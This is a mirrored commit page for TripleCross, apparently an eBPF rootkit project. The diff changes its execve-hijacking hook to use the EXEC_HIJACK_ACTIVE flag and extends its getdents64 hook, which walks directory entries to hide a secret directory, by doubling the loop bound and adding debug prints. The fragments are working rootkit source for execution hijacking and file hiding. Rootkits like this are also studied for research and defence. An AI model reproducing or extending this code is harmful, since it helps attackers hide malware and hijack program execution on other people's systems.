admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-30 21:23:07 +08:00
Code Issues Packages Projects Releases Wiki Activity

Finished section 5. Multiple changes in the code according to the performed tests.

Browse Source
This commit is contained in:
h3xduck
2022-06-19 14:35:19 -04:00
parent bfcbfcfaf2
commit 5d6619ce40
42 changed files with 21504 additions and 21007 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
src/ebpf/include/bpf/exec.h
View File

@@ -90,7 +90,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
int err = bpf_get_current_comm(comm, sizeof(comm));
if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){
if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE == 0){
return 0;
}

6
src/ebpf/include/bpf/fs.h
View File

@@ -293,9 +293,9 @@ static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_e
bpf_printk("Starting dirent search, max:%ld, base_addr: %lx\n", dir_buf_max, d_entry_base_addr);
//We will proceed to iterate through the buffer and look for our secret dir until we are past the limit
struct linux_dirent64* previous_dir = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
for(int ii=0; ii<16; ii++){
for(int ii=0; ii<32; ii++){
if(curr_offset>=dir_buf_max){
bpf_printk("Finished dirent search because we reached the end\n");
bpf_printk("Finished dirent search because we reached the end: %ld\n", dir_buf_max);
break;
}
struct linux_dirent64 *d_entry = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
@@ -309,7 +309,7 @@ static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_e
if (err!=0){
//Ignore this entry, error
curr_offset += d_reclen;
//bpf_printk("Error reading directory name\n");
bpf_printk("Error reading directory name\n");
continue;
}
//It is a directory, check if it is ours